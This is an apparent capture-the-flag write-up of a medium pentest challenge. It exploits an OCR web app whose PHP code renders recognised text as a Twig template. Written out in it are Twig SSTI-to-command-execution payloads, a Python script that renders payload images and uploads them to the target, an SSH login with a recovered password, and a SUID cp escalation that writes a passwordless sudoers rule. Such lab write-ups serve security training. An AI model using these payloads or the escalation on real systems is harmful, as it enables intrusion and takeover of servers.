Virtual Reality
Virtual Reality
Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-17 | Status: Solved Techniques: command_execution_via_template, metadata_clue_extraction, ocr_payload_rendering, suid_cp_privilege_escalation, twig_ssti
Summary
Task: a host exposed an OCR web app and SSH, with PHP source later showing OCR text rendered through Twig. Solution: build OCR-friendly Twig payload images for SSTI-to-RCE, extract SSH credentials from image metadata, then abuse SUID cp to add a sudoers rule and read the root flag half.
Virtual Reality — hackerlab
Description
Виртуальная реальность
English summary: the challenge exposed two services on the same host: an OCR web application and an SSH service. The goal was to turn the web bug into code execution, pivot to a user shell, escalate to root, and reconstruct the full flag from two separate files.
Analysis
Initial recon
The target exposed:
- HTTP on
62.173.140.174:18100 - SSH on
62.173.140.174:18122
Port 18122 identified as OpenSSH 8.9p1 Ubuntu. Port 18100 served an IMAGE2TEXT upload page that accepted image files and returned recognized text.
One useful information leak was publicly accessible dependency metadata at /vendor/composer/installed.json, which revealed thiagoalessio/tesseract_ocr 2.12.0. That strongly suggested the application OCR flow was implemented in PHP and that any text extracted from the uploaded image might be processed server-side in an unsafe way.
The page background used a New York / Brooklyn / Manhattan theme, which suggested a Home Alone / Kevin reference. That hint became important later during post-exploitation.
Root cause: OCR text rendered as Twig template
After gaining SSH access later, reading /var/www/html/index.php confirmed the exact vulnerability:
php read-only • copy allowed<?php use thiagoalessio\TesseractOCR\TesseractOCR; require 'vendor/autoload.php'; include 'vendor/vendor/twig/twig/lib/Twig/Autoloader.php'; Twig_Autoloader::register(); function is_image($path) { $a = getimagesize($path); $image_type = $a[2]; if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP))) { return true; } return false; } if (isset($_FILES['image4text'])) { $fileName = $_FILES['image4text']['name']; $fileSize = $_FILES['image4text']['size']; $fileTmpName = $_FILES['image4text']['tmp_name']; if ($fileSize > 5000000) { die("Слишком большой размер файла (5MB)"); } if (!is_image($fileTmpName)) { die("Этот файл не является изображением!"); } try { $output = (new TesseractOCR($fileTmpName))->run(); $loader = new Twig_Loader_String(); $twig = new Twig_Environment($loader); $output = $twig->render($output); } catch (Exception $e) { $output = "При чтении текста с изображения возникла ошибка."; } if (empty($output)) $output = "Не могу распознать текст :("; } ?>
The bug is the last three lines in the try block:
- OCR extracts text from the uploaded image.
- That extracted text is treated as a Twig template string.
- The template is rendered immediately.
This is exploitable because the attacker fully controls the image content, which means they can fully control the OCR output. If the OCR reliably reads Twig syntax, the server evaluates attacker-supplied Twig expressions. That is classic server-side template injection (SSTI).
Making OCR reliable enough for exploitation
The main practical issue was not the template engine itself but OCR accuracy. Some fonts caused dropped or misread punctuation, which breaks Twig payloads very easily. A monospace font, Menlo, produced stable recognition for braces, underscores, parentheses, and quotes.
The first proof payload was:
twig read-only • copy allowed{{7*7}}
The page rendered:
text read-only • copy allowed49
That confirmed code execution inside the template engine, not just reflected OCR text.
Further fingerprinting also worked:
twig read-only • copy allowed{{constant("PHP_VERSION")}}
which returned:
text read-only • copy allowed8.1.2-1ubuntu2.10
Solution
Step 1 — Turn Twig SSTI into command execution
The working RCE payload was:
twig read-only • copy allowed{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
This old Twig technique registers system as a callback for undefined filters. The later getFilter('id') lookup triggers that callback, effectively executing system('id').
The response showed the web process context:
text read-only • copy alloweduid=33(www-data) gid=33(www-data) groups=33(www-data)
To automate exploitation, a helper script was created locally to render OCR-friendly payload images and upload them:
python read-only • copy allowed#!/usr/bin/env python3 import re import sys from pathlib import Path import requests from PIL import Image, ImageDraw, ImageFont URL = "http://62.173.140.174:18100/" FONT = "/System/Library/Fonts/Menlo.ttc" FIXED = "{{_self.env.registerUndefinedFilterCallback('system')}}" def render_payload(cmd: str, size: int = 80) -> Path: font = ImageFont.truetype(FONT, size) line2 = f"{{{{_self.env.getFilter('{cmd}')}}}}" lines = [FIXED, line2] width = max(len(x) for x in lines) * int(size * 0.72) height = 120 + len(lines) * int(size * 1.6) img = Image.new("RGB", (width, height), "white") draw = ImageDraw.Draw(img) y = 20 for line in lines: draw.text((20, y), line, fill="black", font=font) y += int(size * 1.35) out = Path(__file__).with_name("payload.png") img.save(out) return out def run(cmd: str) -> str: img_path = render_payload(cmd) with img_path.open("rb") as fh: resp = requests.post( URL, files={"image4text": ("payload.png", fh, "image/png")}, timeout=45 ) m = re.search(r"<p3>(.*?)</p3>", resp.text, re.S) return m.group(1) if m else "" if __name__ == "__main__": if len(sys.argv) < 2: print(f"usage: {sys.argv[0]} <command>") raise SystemExit(1) print(run(" ".join(sys.argv[1:])))
Step 2 — Enumerate from www-data
Using the OCR-driven RCE, /home was enumerated and revealed user kevin.
Listing /home/kevin showed:
first_partme.jpg
first_part was interesting, but direct SSH access as the user was the cleaner route.
Step 3 — Extract the SSH password from image metadata
The file me.jpg contained useful metadata. Its IPTC Copyright Notice was:
text read-only • copy allowedeW91Y2FudGhhY2ttZWxvc2Vy
Base64-decoding it produced:
text read-only • copy allowedyoucanthackmeloser
That string was the SSH password for user kevin on port 18122.
Step 4 — Login with SSH and recover the user flag half
Login command:
bash read-only • copy allowedsshpass -p 'youcanthackmeloser' ssh -p 18122 kevin@62.173.140.174
The file /home/kevin/first_part contained:
text read-only • copy allowedCODEBY{1s_al0n3
Step 5 — Privilege escalation via SUID cp
Enumeration from the web shell showed that /usr/bin/cp had the SUID bit set. That is dangerous because it lets a low-privileged user copy attacker-controlled files into root-owned locations with elevated privileges.
As kevin, sudo -l showed no existing sudo permissions, so the escalation path was to drop a new sudoers file:
bash read-only • copy allowedecho 'kevin ALL=(ALL) NOPASSWD:ALL' >/tmp/k chmod 440 /tmp/k /usr/bin/cp /tmp/k /etc/sudoers.d/kevin sudo -n id
That yielded root.
Step 6 — Recover the root flag half
The file /root/last_part contained:
text read-only • copy allowed_at_h0m3}
Reconstructing both halves:
text read-only • copy allowedCODEBY{1s_al0n3 _at_h0m3}
Final flag:
text read-only • copy allowedCODEBY{REDACTED}
Why the SSTI was exploitable
The important point is that the application did not just OCR the uploaded image and display the text. Instead, it interpreted the OCR output as code in a template language.
That creates an attacker-controlled execution chain:
- Upload an image containing a Twig expression.
- Tesseract reads the expression into a string.
Twig_Loader_Stringloads that string as a template.render()evaluates it on the server.
Normally OCR output should be treated as plain data and escaped before display. Rendering it as a template turns a text-recognition feature into a remote code execution primitive.